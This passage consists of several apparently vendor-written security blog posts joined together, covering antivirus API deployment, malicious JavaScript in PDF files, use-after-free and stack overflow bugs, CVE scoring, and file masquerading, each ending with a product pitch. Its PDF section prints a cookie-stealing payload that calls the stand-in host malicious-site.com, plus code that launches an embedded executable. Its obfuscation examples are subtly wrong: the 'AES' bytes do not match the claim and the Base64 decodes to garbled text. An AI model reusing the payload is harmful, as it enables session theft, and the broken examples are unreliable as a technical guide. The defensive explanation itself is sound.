This can prove costly and inefficient, even when proxies and ICAP servers are deployed as virtual appliances/cloud-based services (as opposed to physical hardware, which is notably more inefficient for several reasons). Deploying multiple proxies or ICAP servers behind a load balancer decentralizes the flow of network traffic, which increases the complexity of managing those independent antivirus software iterations. Each iteration requires independent updates and maintenance, for instance.

By deploying an antivirus API within a single proxy or ICAP server, the value-add server can offload file traffic to a dynamically scaled external endpoint resource. When that endpoint is deployed in a region local to the proxy or ICAP server, the drop-off in latency (i.e., compared with a solution deployed directly in a proxy or ICAP server) may be negligible, and it may be offset by the enhanced performance of multiple distributed cores. Eliminating the need for proxies and ICAP servers to directly process internet messages also frees up their bandwidth considerably, allowing them to perform other crucial value-add operations as file traffic enters or leaves a network.

Using dynamically scaled API endpoint resources ultimately centralizes proxy and ICAP antivirus services for the enterprise network. It reduces the need to perform updates and maintenance across multiple iterations of a service, allowing enterprises to abstract those responsibilities away to the API provider.

Cloudmersive Proxy and ICAP Virus Scanning

Cloudmersive specializes in deploying its best-in-class Advanced Virus Scan API in web application proxies and ICAP servers. These deployment options make API calls against hyper-scalable API endpoints, and they excel in accommodating large-scale enterprise traffic scenarios.

To learn more about Cloudmersive proxy and ICAP server deployments, please feel free to reach out a member of our team.

Malicious PDFs are an extremely popular attack vector, and that’s not going to change any time soon.

It’s easy for a sophisticated threat actor - especially one with a strong understanding of PDF file structure - to embed malicious JavaScript in sensitive locations within a PDF document.

Embedded malicious scripts can execute and take various actions on their own, and they can execute in response to user interactions within the document. They can be specially designed to exploit vulnerable PDF reader technologies, including those built into our web browsers.

So just where, exactly, can a threat actor embed JavaScript within a PDF document?

In this article, we’ll walk through a few of the key locations we might expect to find JavaScript embedded within PDF file structure. We'll look at a few basic, inert examples of JavaScript injections in a document along the way.

Towards the end, we'll also take a brief look at encrypted and encoded versions of JavaScript injections to understand how threat actors can obfuscate their code.

Understanding PDF File Structure

Before we understand where JavaScript can be embedded within a PDF document, we should first review PDF file structure at a high level.

Header

Every PDF document begins with a header. The header specifies the exact version of PDF formatting that particular PDF document adheres to.

For example, a basic header might look something like %PDF-1.4. The % character is used to indicate the start of a comment within a PDF file.

Body

The body of a PDF document stores all the objects that collectively make up the document contents. Within each object in the PDF body, we can expect to find many different types of data, including metadata, page content data, and data related to interactive elements.

One example of an object is the Pages object. This contains references to all pages within the PDF document, and it's entirely separate from a Page object, which instead represents the structure of each specific page within the document.

We’ll find the actual contents of those pages – such as text and images – stored within the Content Streams object.

All these objects have unique identifiers, and they seamlessly work together to construct the content we see when we open up a PDF file.

Cross-Reference Table (xref)

When a PDF document is loaded in a PDF reader, the xref table functions like a map, helping the PDF reader quickly locate different parts of the document.

xref information is stored in an xref table, and that table efficiently tells the PDF reader exactly where certain content is located.

Trailer

In the Trailer, we’ll find necessary information to process the PDF document – such as the location of the XREF table. We’ll also find the %%EOF (End Of File) comment here to indicate the final line of the document.

Embedding JavaScript Within PDF File Structure

Now that we understand overarching PDF file structure, we can look at specific locations where JavaScript can be embedded to cause various actions to occur within the document.

Catalog Object

The Catalog is the root object of a PDF document, located within the body of the document. It references essential objects within the document.

If, for example, a PDF contained an Outline to help viewers navigate through the document, that Outline would be referenced from the Catalog.

The Catalog is also where OpenAction entries can be specified. OpenAction entries allow various actions to be taken when a PDF document is opened. This is a popular area to embed JavaScript within a PDF document.

Embedded JavaScript in the Catalog can perform malicious actions once the document is opened. Code embedded in the Catalog can be used to exploit vulnerabilities in the viewer’s PDF reader to execute arbitrary code on their system.

Here's a basic example of JavaScript in a simple PDF Catalog that would execute from the OpenAction:

1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
  /OpenAction <<
    /S /JavaScript
    /JS (app.alert({ cMsg: "You've been hacked!", cTitle: "Warning", nIcon: 1, nType: 0 });)
  >>
>>

Annotations

Annotations provide interactivity for PDF viewers. They can contain anything from simple text to links to complex sound and video elements.

Annotations can also include JavaScript actions. By embedding JavaScript within an Annotation object, a threat actor can trigger a malicious action to occur when the user clicks on the annotation.

If, for example, a malicious PDF was opened within a web browser’s built-in PDF viewer, embedded JavaScript within an interactive Annotation could initiate a Cross-Site Scripting attack, allowing the attacker to perform various actions on behalf of the user.

Here's a simple example of what a JavaScript injection in an Annotation could look like:

4 0 obj
<<
  /Type /Annot
  /Subtype /Text
  /Rect [100 100 200 200]
  /F 4
  /C [1 0 0]
  /T (XSS Attack)
  /Popup 6 0 R
  /Contents (Click me!)
  /Action <<
    /S /JavaScript
    /JS (document.write('<img src="https://malicious-site.com/logger.php?data=' + document.cookie + '" />');)
  >>
>>
endobj

Embedded Files

JavaScript can be used to directly access - and directly open - embedded files within a PDF document. Files are stored within a PDF using object streams, and each embedded file is represented by a file specification dictionary that can be accessed via interactive PDF elements.

For example, interacting with a dynamic Annotation could open a file from an object stream – such as a hidden executable.

Here's a simple example of what a JavaScript Annotation opening an executable within a PDF could look like:

4 0 obj
<<
  /Type /Annot
  /Subtype /Text
  /Rect [100 100 200 200]
  /F 4
  /C [1 0 0]
  /T (Hidden Executable)
  /Popup 6 0 R
  /Contents (Click me!)
  /Action <<
    /S /JavaScript
    /JS (this.exportDataObject({ cName: "executable.exe", nLaunch: 2 });)
  >>
>>
endobj

Interactive Forms

Interactive form fields in a PDF allow users to engage with PDF documents in a similar way to how they might engage with web form entries on a website. Embedding JavaScript within a form field can trigger various malicious actions to occur when the PDF viewer interacts with that part of the form.

If, for example, embedded JavaScript was attempting to link a PDF viewer to a malicious website, it could look like this:

4 0 obj
<<
  /Type /Annot
  /Subtype /Widget
  /FT /Btn
  /T (Redirect Button)
  /F 4
  /Rect [100 100 200 200]
  /AA <<
    /C <<
      /S /JavaScript
      /JS (this.getURL('http://maliciouswebsite.com');)
    >>
  >>
>>
endobj

Obfuscating Malicious Code

We can expect threat actors to make their embedded JavaScript code exceedingly difficult to locate. Threat actors can hide their malicious JavaScript using a few common techniques.

Perhaps the most common among these is encryption. By encrypting malicious code within a PDF, a threat actor can all but ensure their code won’t be legible to those who lack the encryption key. This makes the job of automated security tools extremely difficult - they can't detect what they can't decrypt.

Carrying through the earlier example of a popup OpenAction message in the Catalog, here's what an AES (Advanced Encryption Standard) encrypted version of that code could look like:

1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
  /OpenAction <<
    /S /JavaScript
    /JS (0x78 0x9c 0xcb 0x48 0xcd 0xc9 0xc9 0xc9 0x57 0x08 0xcf 0x2f 0xca 0x49 0x51 0x28)
  >>
>>
endobj

The above encryption requires the encryption key 'myEncryptionKey123' to reveal the obfuscated code.

Another common obfuscation technique involves manipulating the PDF file format itself. By changing the internal structure of a PDF file (resulting in an invalid PDF document), a threat actor can confuse traditional threat analysis tools, and they can, by the same token, exploit vulnerabilities in PDF readers.

Basic encoding techniques (like Base64 encoding), string manipulation, and even variable renaming can also obscure the purpose of JavaScript code within a document in an effort to avoid detection.

A Base64 encoded version of embedded JavaScript code could automatically decode and execute after bypassing threat detection:

1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
  /OpenAction <<
    /S /JavaScript
    /JS /JS (JGFwcC5hbGVydCh7IGNNU2c6ICJVb3QgdGhpcyBkYXRhIGlzIGV4aXN0IHZhbHVlIiwnY1RpdGxlOiAiV2FybmluZyIsIG5JY29uOiAxLCBOdHlwZTogMCk7fSk7)

  >>
>>
endobj

Detecting Malicious PDFs with Cloudmersive

The Cloudmersive Advanced Virus Scan API takes a deterministic approach to custom content threat detection. It looks deep within PDF file structure to identify malicious code and improper formatting, ensuring the file contents conform with stringent PDF formatting standards.

To learn more about the Cloudmersive Virus API (including its various iterations and deployment options), please feel free to reach out to a member of our team.

Overview

While viruses and malware often take center stage in the public discourse surrounding malicious file uploads, they’re far from the only threats we should be mindful of.

Critical vulnerabilities like Use-After-Free are frequently discovered in the applications (i.e., programs) we lean on to render and process important files. Such vulnerabilities can be exploited without the involvement of any viruses or malware, and if we don’t diligently address them, we can fall victim to targeted attacks with specially crafted malicious files.

What is a Use-After-Free Vulnerability?

A Use-After-Free vulnerability is a type of security flaw that occurs when a program continues to use a pointer (or a reference to memory) that has already been freed or deallocated from memory. By exploiting a Use-After-Free flaw, an attacker can induce undefined behavior in a vulnerable program.

This can give the attacker control over the program’s behavior, allowing them to leak data, escalate their own application privileges, execute arbitrary code, crash the application (i.e., Denial of Service), or cause damage in a variety of other ways.

Understanding Use-After-Free Vulnerabilities

Use-After-Free vulnerabilities fundamentally pertain to the way in which programs allocate and deallocate memory.

Applications cyclically release memory to efficiently manage limited resources, ensure high-quality performance, and maintain system stability.

Resource Management

Physical memory (RAM) in any computing environment is limited, and memory deallocation ensures other applications running on the same system can assign memory for their own unique processes. It’s not just about “spreading the wealth”; without memory deallocation, RAM would inevitably be exhausted, and memory leaks would occur as a result, leaving the entire system unstable or unresponsive.

Performance and Stability

The performance and stability of an application is directly impacted by RAM availability. RAM prevents applications from needing to swap data in and out of disk-based virtual memory, which would slow down an application’s performance significantly. The stability and responsiveness of a system depends on the efficient cooperation of applications running on that system, and RAM allocation impacts this state.

Mechanics of Memory Deallocation

When an application frees memory, that memory is returned to the program’s memory pool. This pool is managed by a memory manager. From here, the application (or other programs running on the same system) can reuse the program for future allocations.

It’s important to note that freed memory doesn’t physically move. Instead, it stays in the same location, and it receives some form of designation indicating it’s available for reuse.

When memory becomes available for reuse, the application that originally deallocated that memory doesn’t “own” it anymore. If that application attempts to access the memory it dealt with, it can lead to conflicts with other programs attempting to access the same memory. Use-After-Free vulnerabilities arise, effectively, from conflicts memory access.

Consequences of Use-After-Free Vulnerabilities

Conflicts in memory reuse can cause undefined behavior to occur within a program.

If this conflict occurs organically (meaning the vulnerability was unintentionally exploited), undefined behavior can cause an application to crash, leading to an unintentional denial of service scenario. It can also cause an application to print random values while seemingly working correctly, resulting in an arduous debugging process.

If this conflict occurs intentionally (meaning the vulnerability was intentionally exploited by a threat actor), it can allow an attacker to directly manipulate the freed memory in conflict. Sophisticated attackers are often capable of predicting and subsequently controlling the reallocation of freed memory, allowing them to insert malicious code (or data) into the application. Doing so can allow them to execute arbitrary code within the application, corrupt the application’s data structures, or crash the application, leading to an intentional denial of service scenario.

Example: CVE-2021-44710 – Use-After Free Vulnerability in Adobe Acrobat Reader DC

Let’s now look at a real-world example of a Use-After-Free vulnerability which was, several years ago, identified in a popular, mainstream application.

In 2021, a Use-After-Free vulnerability was discovered in Adobe Acrobat Reader DC (impacting versions 21.007.20099, 20.004.30017, and 17.011.30204, among several others). This vulnerability was quickly patched with security updates, but at the time, an expedient exploitation of this vulnerability could have led to arbitrary code execution in the context of the current application user. It could also have led to denial of service, security feature bypass and privilege escalation.

The vulnerability lay within the application’s processing of Format event actions. By tricking a user into opening a specially crafted JavaScript injection PDF file (supplied to the user) within one of the vulnerable application versions, an attacker could have executed code in the application’s memory buffer.

If the affected user had escalated privileges within the application (e.g., admin privileges), a successful attack could’ve allowed the attacker to make changes to the application, leak sensitive data from the application, or cause a wide range of other negative outcomes.

Mitigating Use-After-Free Attacks

General Threat Prevention

First and foremost, preventing the exploitation of Use-After-Free vulnerabilities (and many other application flaws) starts with the timely installation of application updates. Vulnerabilities like CVE-2021-44710 are typically patched in an urgent timeline following the discovery and successful replication of the vulnerability.

The longer we wait to update applications handling sensitive data in our network, the more time we give attackers to exploit zero-day vulnerabilities in our current application version.

Cloudmersive Advanced Virus Scanning: Deterministic Threat Detection

On the other hand, proactively preventing the exploitation of Use-After-Free vulnerabilities is possible with a deterministic approach to content threat detection. With proactive deterministic threat detection, we can search for hidden threats within the files threat actors specially design to exploit application vulnerabilities.

In the case of CVE-2021-44710, for example, we could prevent threat actors from exploiting the Use-After-Free vulnerability by categorically disallowing PDFs with JavaScript injections from entering our system.

The Cloudmersive Advanced Virus Scan API offers 360-degree content protection, applying deterministic threat detection in conjunction with traditional signature-based virus and malware scanning (this latter service references a continuously updated list of more than 17 million signatures). All file contents processed through the Advanced Virus Scan API are examined beyond the file extension to ensure file contents rigorously conform with expected file formatting standards.

JavaScript injection PDFs used in the CVE-2021-44710 example will be identified as invalid files despite containing valid PDF extensions. This will prevent those files from reaching unsuspecting users who might unwittingly open them and initiate targeted attacks.

Contact Us

For more information on how the Cloudmersive Advanced Virus Scan API can protect your network from targeted malicious attacks, please feel free to reach out to a member of our team.

CVE is an acronym that stands for Common Vulnerabilities and Exposures.

CVEs offer information about security issues impacting the technologies (e.g., hardware, operating systems, applications, and programs) people depend on day to day. These vulnerabilities and exposures are identified by individuals or teams of security researchers, labeled by accredited CVE numbering authorities, and subsequently compiled in public databases for easy public access.

The goal of CVE research is to rapidly increase public awareness of zero-day cybersecurity threats and improve the public’s ability to respond to these threats in a timely manner.

Discovering and Labeling CVEs

The process of labeling CVEs for public discovery is carried out by one of several CVE Numbering Authorities (CNAs). CNAs include dozens of well-known technology corporations, such as Microsoft, Oracle, Cisco, and others.

The CVE program itself is organized by the MITRE corporation, which is a non-profit federally funded group affiliated with the United States Department of Homeland Security. In addition to overseeing the CVE program, MITRE can also issue CVEs directly. CVEs appear in several public databases, including the United States National Vulnerability Database (NVD).

When a CNA identifies a new vulnerability or exposure, they assign the CVE a prefix followed by an identifying number (e.g., CVE-2023-5474). This identification makes it easy to quickly search for information about any given CVE in a CVE database. Since thousands upon thousands of CVEs are published to CVE databases every year, CNAs are issued CVE identifiers in advance of each new year, and these identifiers are assigned to new vulnerabilities and exposures as they’re discovered.

While CNA’s play a key role in organizing and identifying CVEs for public review, the initial discovery of new vulnerabilities and exposures isn’t limited to those affiliated with CNA organizations. A new CVE can, for example, be discovered by an end user noticing a flaw in an application they use at work. The user discovering the flaw can report the vulnerability to a CNA through any one of a variety of different channels, and the CNA can then verify the flaw and assign a CVE identifier to it.

Often, CNAs and other non-CNA technology corporations incentivize the discovery of new CVEs in their products through bug bounty programs. Developers, administrators, and other technical folks can earn a cash reward for identifying relevant vulnerabilities and exposures in popular software products.

When a new CVE is committed to a CVE database, a short description of the vulnerability or exposure is included that succinctly describes the issue. Links and additional references are included alongside the CVE description to facilitate further research for the public, and statements from the affected technology’s vendor about updates, patches, etc. are typically soon to follow. In many cases, information about a new CVE won’t be published at all until the vulnerability or exposure in question has been addressed and resolved the by relevant technology vendor.

What Constitutes a CVE?

A plethora of issues are identified in the technologies we use day to day, but not all these issues can be considered CVEs. New vulnerabilities and exposures can be generally defined by the following criteria:

Impact

A CVE should have an identifiable impact on the confidentiality, integrity, or availability of the affected system. This impact could include anything from unauthorized access to system crashes or unauthorized control of a system.

Reproducibility

A CVE must be reproducible. When a potential vulnerability or exposure is brought to the attention of a CNA, a member of the CNA must be able to recreate the issue in their own environment. Once the issue is reproduced, the affected technology vendor can be notified, and the process of patching the issue can begin.

Scope

A public CVE should be a problem that impacts a significant number of users. It’s difficult to define a minimum threshold for the scope of a CVEs impact, but it’s generally only worth disclosing publicly if there’s a real incentive for threat actors to exploit the vulnerability in question.

Documentation

A CVE report should come along with a significant amount of relevant documentation (i.e., evidence that the CVE exists with specific descriptions about the method of exploitation). Documentation should include key information about the affected technology and steps for reproducing the flaw in question. For example, reports on software vulnerabilities and exposures should contain information about the specific software version(s).

Independence and Assignability

New CVEs reports should describe unique flaws which are clearly distinguished from existing CVEs in a CVE database. In other words, duplicate CVEs should be avoided as much as possible to avoid clutter in a CVE database.

Scoring CVEs

New CVEs are assigned scores through a few different scoring systems to ensure the relative severity of any given vulnerability or exposure is adequately communicated to the public. CVE scores effectively help organizations prioritize and address certain vulnerabilities and exposures ahead of others.

The most common CVE scoring system is the Common Vulnerability Scoring System (CVSS).

The CVSS is a standardized, widely accepted method for evaluating the impact of vulnerabilities; it’s used heavily by vendors, security researchers, and organizations to consistently communicate the severity of vulnerabilities.

A CVSS score can range from 0.0 to 10.0, with higher numbers indicating more severe vulnerabilities. Each range of scores is categorized as Low Severity, Medium Severity, High Severity, or Critical Severity.

Low Severity CVSS Rating

Scores between 0.1 – 3.9 receive a Low Severity rating.

Medium Severity CVSS Rating

Scores between 4.0 – 6.9 receive a Medium Severity rating.

High Severity CVSS Rating

Scores between 7.0 – 8.9 receive a High Severity rating.

Critical Severity CVSS Rating

Scores between 9.0 – 10.0 receive a Critical Severity rating.

The CVSS provides a base score representing the intrinsic qualities of any given vulnerability. This is typically calculated based on the access complexity of the vulnerability (i.e., how easy it is to exploit), the vulnerability’s authentication requirements, and the impact the vulnerability can have on exploitation outcomes such as data confidentiality, data integrity, system availability, etc.

The CVSS also provides a temporal score reflecting a vulnerability’s exploitability relative to the availability of vulnerability mitigations. For example, vulnerabilities that have readily available patches and/or workarounds will receive a lower temporal score than vulnerabilities without immediate fixes.

Protecting Your System Against New CVEs with Cloudmersive APIs

Every day, a wide range of zero-day CVEs are discovered in the rendering and processing programs that our file processing applications use to load and display file content. Threat actors can, for example, intentionally manipulate the contents of common image files (e.g. .JPG, .PNG, .WEBP, etc.) to exploit hidden flaws in our image rendering programs, and these malicious files can cause Heap-Based Buffer Overflows or Stack-Based Buffer Overflows resulting in data leaks, data corruption, and even Distributed Denial of Service (DDoS) attacks. Attacks exposing these zero-day exploits don't necessarily involve viruses or malware of any kind, making it difficult to mitigate them with traditional antivirus software.

The Cloudmersive Advanced Virus Scan API specializes in protecting networks, applications, and cloud storage databases against myriad vulnerabilities and exposures related to invalid and maliciously crafted file uploads. In addition to referencing files against a continuously updated list of more than 17 million virus and malware signatures, the Advanced Virus Scan API performs in-depth content verification for each scanned file, ensuring files rigorously conform to expected file formatting requirements.

With Cloudmersive content verification, abnormally formatted files can be identified before reaching potentially vulnerable programs, ensuring relevant zero-day CVE exploits won’t impact our system architecture.

For more information on Cloudmersive Virus Scan APIs, please do not hesitate to reach out to a member of our team.

We’ll often hear the terms virus and malware included together in discussions about mainstream cybersecurity threats. When we research the technology market for cybersecurity solutions, we’re usually looking for a category of technology labeled “antivirus software” to mitigate both threat types, and this can further complicate our understanding of the difference between these terms.

Thankfully, we can draw a very clear line in the sand between what these two cybersecurity buzzwords really mean.

When we talk about a virus, we’re specifically describing a malicious program that spreads throughout a system by replicating itself and injecting code into various files and programs.

When we talk about malware, we’re broadly referring to any type of malicious software – including viruses. The term "malware" literally conjoins the terms “malicious” and “software”; it was coined decades ago to simplify the label we apply to programs designed to harm our systems.

Even when we fully understand the differences between these terms, however, we might still feel a bit confused. If malware is a category that includes viruses, why do we so often pair these terms together when we discuss cybersecurity solutions? Shouldn’t "malware" alone be enough to describe any type of threatening program we might encounter?

While it’s true that viruses are a subcategory of malware, the differences between how viruses and other forms of malware attack our systems are very significant. Malicious programs that replicate themselves at scale create a host of problems that more “static” forms of malware don’t create, and vice versa.

Let’s consider, for example, the differences between a polymorphic virus (i.e., a virus that continually changes its code to avoid detection) and spyware (i.e., malicious software that tracks our behavior and shares our information with external servers).

While polymorphic viruses and spyware are both types of malware, their behavior in our system differs tremendously. Consequently, detecting each threat type comes with its own unique challenges. An active polymorphic virus might compromise myriad important files in a short period before we catch it, while spyware might run quietly in the background of our system for months without our knowledge.

The makeup (i.e., signatures and behavioral characteristics) of files bearing polymorphic viruses will be extremely different from files containing spyware, and the vectors threat actors use to transmit each threat type will likely differ as well. As such, it’s important that any antivirus software we choose to implement acknowledges that both viruses and other forms of malware are covered by its threat detection policies.

Summary

The terms virus and malware are often mentioned together in discussions about common cybersecurity threats. While viruses are actually a category of malware, the differences between the virus subcategory and other malware subcategories are significant enough to warrant actively distinguishing between them.

Virus and Malware Detection with Cloudmersive

The Cloudmersive Virus Scan API is designed to scan files for both virus and malware threats. This includes referencing files against a continuously updated list of more than 17 million virus and malware signatures and performing rigorous behavioral analysis in a virus and malware threat detection sandbox.

Additionally, the Advanced iteration of the Cloudmersive Virus Scan API extends coverage beyond virus and malware threats, performing in-depth content verification to identify macro-enabled files, invalid files, scripts, executables, and a variety of other threatening content types. Threats in this category are often obfuscated to breach traditional antivirus threat detection policies and used in zero-day attacks to catch victims off guard.

For more information on Cloudmersive products and services, please feel free to reach out to a member of our team.

A double extension file is a file that displays two different extensions at once, one after another. The second extension describes the actual file format, while the first extension simply abuses the text box allocated for naming the file.

Threat actors frequently use this double extension file naming method to hide malicious files from unsuspecting victims.

For example, an email attachment displaying the name privatereport.pdf could actually be a malicious executable with the hidden full name privatereport.pdf.exe.

Naming a file with a fake secondary extension abuses a feature present in many file management programs that hides a file's extension from a user’s view, displaying only the file name and file icon instead.

Unfortunately, it’s trivial for threat actors to also change the file icon that file management programs display to the victim. By matching a fake extension with a congruous file icon, threat actors can manipulate victims into clicking on apparently innocent files without a second thought.

Carrying on the earlier example, privatereport.pdf.exe might display a completely normal looking PDF icon next to the file name privatereport.pdf displayed to the victim.

Mitigating Attacks with Double Extension Files

Double extension files can be an extremely effective attack vector when they’re shared in phishing emails that use especially targeted social engineering messages (i.e., Spear Phishing) to trick a prospective victim. Malicious executables will run malware directly after opening – a best-case-scenario for threat actors – and that alone makes it worthwhile to put extra effort into attacks utilizing double extension files.

The first and most important step towards mitigating double extension file attacks is, as always, rigorous user training. Users should question every element of an email originating from an external server, and they should preview or hover over suspicious attachments in these emails without opening them.

Detecting Double Extension File Attacks with Cloudmersive

The advanced iteration of the Cloudmersive Virus Scan API can be deployed at the network edge to scan all files (including double extension files) for viruses, malware, and a wide range of additional content threats. The Advanced Virus Scan API will perform in-depth verification on each scanned file, returning the verified file format in the response body. Custom threat rules can be set in the API request body (or from the Cloudmersive Account Management Portal) to block specific threats including executables, macros, scripts, password protected files, and more.

For example, no matter how convincing a threat actor made the malicious file look, the file privatereport.pdf.exe described above would match .exe file formatting standards rather than .pdf file formatting standards. With the custom threat rule allowExecutables set to False, this file would return a “CleanResult”: False response, and the file could be subsequently quarantined or deleted outright.

For more information on the Cloudmersive Virus Scan API and its various deployment options, please feel free to contact a member of our team.

JavaScript is an extremely versatile programming language supported by every major web browser. In addition to web application development (its primary use-case), it's also widely used to add custom interactive elements and dynamic behavior to PDF documents, largely in an effort to improve user-supplied data capture and efficiently link multimedia web content for document viewers.

Despite the numerous benefits PDFs enhanced with custom JavaScript can offer, however, we need to be extremely careful about opening PDFs containing JavaScript when they come from unknown, untrusted or potentially compromised external clients. If we came across a PDF containing JavaScript code from an unverified source via client-side file upload, or as an email attachment, we’re at risk of initiating a cyber-attack when we open the document in our web browser.

In this article, we'll examine some of the high-level benefits and risks associated with PDFs containing JavaScript code.

Benefits of JavaScript in PDFs

Many popular PDF viewers give us the option to enable JavaScript features for our document or write custom JavaScript code through a built-in editor. This code can carry out useful actions in our PDF, especially when capturing data inputs through dynamic input fields.

We could, for example, write code to calculate values from different numbers entered in separate form fields within our PDF. This could save a lot of time otherwise spent collecting data from PDFs and performing manual calculations, significantly improving the efficiency of web-based PDFs used for important data collection purposes.

We could also use JavaScript to validate important input fields in our PDF to help prevent malformed data entry. If one of our PDF fields asked for user-supplied email addresses, for example, we could write a script to ensure the user receives an error message if they wrote their address with incorrect syntax.

JavaScript can facilitate multimedia integrations in our PDF, allowing us to include audio or video elements with controlled playback. JavaScript-enabled buttons or triggers can allow users to submit data directly to a database or navigate quickly to other important web pages and documents.

Risks of JavaScript in PDFs

Threat actors can write malicious JavaScript in a specially crafted PDF file to exploit vulnerabilities in our web browsers. Moreover, they can obfuscate their code relatively easily with a basic understanding of PDF file structure, ensuring the average document viewer most likely won’t be aware of malicious scripts running in the background.

There are a wide variety of outcomes threat actors can target with malicious JavaScript.

By writing code that exploits a vulnerable PDF reader in a victim’s web browser, a threat actor could initiate a connection with a remote URL to steal important login credentials, session tokens, and other sensitive personal data from the user. They could also force the user’s vulnerable web browser to make an extremely high volume of requests to a target server, resulting in a Denial-of-Service attack.

By exploiting a vulnerable web browser’s download capability, a threat actor could also possibly force a remote malware download onto the user’s device, ultimately encrypting their victim’s data with Ransomware or taking direct control over other sensitive processes.

A threat actor could even exploit JavaScript buttons and triggers in a PDF to redirect users to other malicious documents or web pages.

Blocking PDFs with JavaScript using the Cloudmersive Advanced Virus Scan API

PDFs containing JavaScript (or HTML) code can be detected and blocked using custom request parameters available via the Cloudmersive Advanced Virus Scan API. This API provides 360-degree content protection for file uploads, scanning content for virus & malware signatures while additionally providing the option to block threatening content types including scripts, executables, macros, password-protected files, and more.

For more information about the Cloudmersive Advanced Virus Scan API, please do not hesitate to contact a member of our team.

File masquerading is one of the many evasive methods threat actors can use to deceive prospective victims in phishing attacks (or other attacks that require user interaction with a file to run malicious code).

In this article, we’ll review how file masquerading works and what implications it can have.

What is File Masquerading?

File masquerading is a relatively simple technique aimed at hiding the true nature of a malicious file’s contents. This technique abuses the way certain operating systems (or, in some cases, applications such as internet browsers) display file names to users.

How does File Masquerading Work?

The true nature of a malicious file's content can sometimes be concealed by entering a fake, secondary extension in the file name (text box) displayed to the user.

Let’s imagine, for example, a threat actor has crafted a Windows executable (.exe) file containing malicious code. Files with .exe extensions are designed to run programs on Windows operating systems; they’re commonly used to install applications, games, and other software.

To successfully inject their malicious payload onto a target user’s Windows operating system, the attacker will require user interaction.
In other words, they will need their victim to ‘voluntarily’ run the executable by clicking on & opening the file. Since most modern application users are trained to avoid interacting with unknown executable files, the attacker might decide to conceal the file type to convince their potential victim that the file’s contents are actually harmless.

By changing the name of their file to something innocuous like “file.txt”, the attacker can make the file seem harmless when it displays in certain contexts where the user might see it (e.g., file extensions for known file types can be hidden by default on Windows OS). The full file name is actually “file.txt.exe”, but because periods are valid entries in file name displays, the user might believe the phony extension displayed in the file name represents the actual file content. In this example, the attacker’s file is an executable file masquerading as a text file.

Threat actors frequently use other extremely common file extensions like .pdf, .docx, .jpg, and .png to increase the likelihood that victims will interact with and execute malicious file contents.

Outcomes of Masquerading File Attacks

Attacks via masquerading files can have very severe consequences. In general, running an attacker's executable code tends to hand them a great deal of control over the target operating system or application server.

These attacks often result in the creation of backdoors into a system, allowing the attacker to steal sensitive data or deploy ransomware to hold data hostage. These attacks also frequently result in the deployment of spyware to gather data about a user (or group of users) on a particular operating system.

Uncovering Masquerading Files with Cloudmersive

The Cloudmersive Advanced Virus Scan API offers 360-degree content protection, simultaneously scanning files for viruses, malware, and non-malware content threats. Masquerading files can be detected and blocked by setting customizable, in-depth content verification policies that look past the file extension and rigorously analyze the content type.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our team.

If we don’t rigorously validate file uploads to a sensitive server-side program, threat actors can upload specially crafted files designed to exploit subtle flaws in that program's memory allocation processes. Successfully exploiting these flaws (i.e., vulnerabilities) can result in high-severity attacks like denial of service or arbitrary code execution.

In this article, we’ll review how stack memory works and discuss how stack-based buffer overflows occur.

What is Stack Memory?

Stack memory is the section of our computer’s RAM used to store local variables and function calls. The physical region of memory allocated to the stack is what we call the stack memory buffer.

Data added to a stack memory buffer follows a last-in, first-out (LIFO) structure. Given that RAM memory is always limited to some degree, LIFO structure literally ensures the last data item added to the stack will be the first item removed to free up memory for subsequent actions.

In stack memory, functions executed for any given program are added to the top of the stack to store things like local variables, function parameters, and the return address (which tells the program where to resume execution when the function call is complete). Memory associated with a local variable is allocated right when the function is called and subsequently deallocated when the function exits the stack.

How does a Stack-Based Buffer Overflow Occur?

Stack-based buffer overflows occur when more memory is written to a stack memory buffer than it is designed to accommodate.

Once a threat actor has identified a stack-based buffer overflow vulnerability in an application, they can craft a malicious input (i.e., a specially designed file) with properties intended to trigger excessive memory allocation and/or deliver a concealed payload of malicious code. Depending on the circumstances, they can submit this file through a client-side file upload portal themselves, or they can employ social engineering techniques to submit this file to an application user (often one with escalated permissions within the application) and trick them into opening the file within the vulnerable application instead. Either way, by successfully overloading a stack memory buffer for any given application workflow, they can potentially overwrite adjacent stack memory buffers and initiate various attacks.

A sudden memory buffer overwrite can cause the application to crash, resulting in denial of service. If the attacker manages to overwrite the return address stored on the stack, they can force the vulnerable program to begin executing malicious code of their choosing instead of executing subsequent stack functions via normal LIFO structure.

Sophisticated threat actors could, for example, use this process to inject payloads into a program containing shell code, which could enable them to create backdoors into a system and/or perform a wide range of other malicious actions.

How can Stack-Based Buffer Overflows be Prevented?

Vulnerabilities in server-side processes need to be monitored and patched through regular software updates.

Unfortunately, however, we won’t always have the benefit of knowing about these vulnerabilities before they’re exploited in one of our own applications. Zero-day threats can take us off guard completely, and the best way to combat such threats is to forward deploy our own security policies ahead of sensitive server entry points.

Preventing Stack-Based Buffer Overflow with Cloudmersive

The Cloudmersive Advanced Virus Scan API provides 360-degree content protection for file upload processes by scanning files for viruses, malware, and non-malware content threats. Invalid or malformed files - such as those used to exploit Stack-Based Buffer Overflow vulnerabilities - can be detected and blocked by setting custom threat rules in the API request body.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

If a web application with client-side file upload capability isn’t designed with stringent enough content verification policies, it can become an easy target for arbitrary file upload (also referred to as unrestricted file upload) attacks.

In this article, we’ll take a closer look at how these attacks work, what outcomes they can have, and how they can be prevented.

Understanding File Upload Vulnerabilities

When we say a web application is vulnerable to arbitrary file upload threats, we mean it doesn’t adequately validate and restrict the files it allows client-side users to submit to the web server.

Generally speaking, the capabilities of web servers responsible for processing client-side file uploads are limited by rational cost-efficiency considerations (such as memory usage, energy consumption, etc.). As a result, most web server processes will “assume” incoming files have been investigated to ensure they conform to a certain set of standards regarding important properties like file name, file type, file size, and file content. Processing files with unexpected properties can lead to unpredictable outcomes that may give untrusted clients some level of control over privileged server-side processes.

Let’s use a basic image processing web application as an example, and let's say this application is designed to handle client-side file uploads in JPG format. When a legitimate and properly sized JPG file is uploaded to the image processing web application server, the server will carry out a normal series of actions to satisfy the client request. It might parse and render the image for display in some location on a web page, and/or it might submit that file to a certain storage location.

If that server is asked to process a greatly oversized JPG file instead, however, it might over-consume its allocated resources and fail while attempting to carry out its normal series of parsing, rendering, or storing actions, leading to an application crash or out-of-bounds memory overwrite.

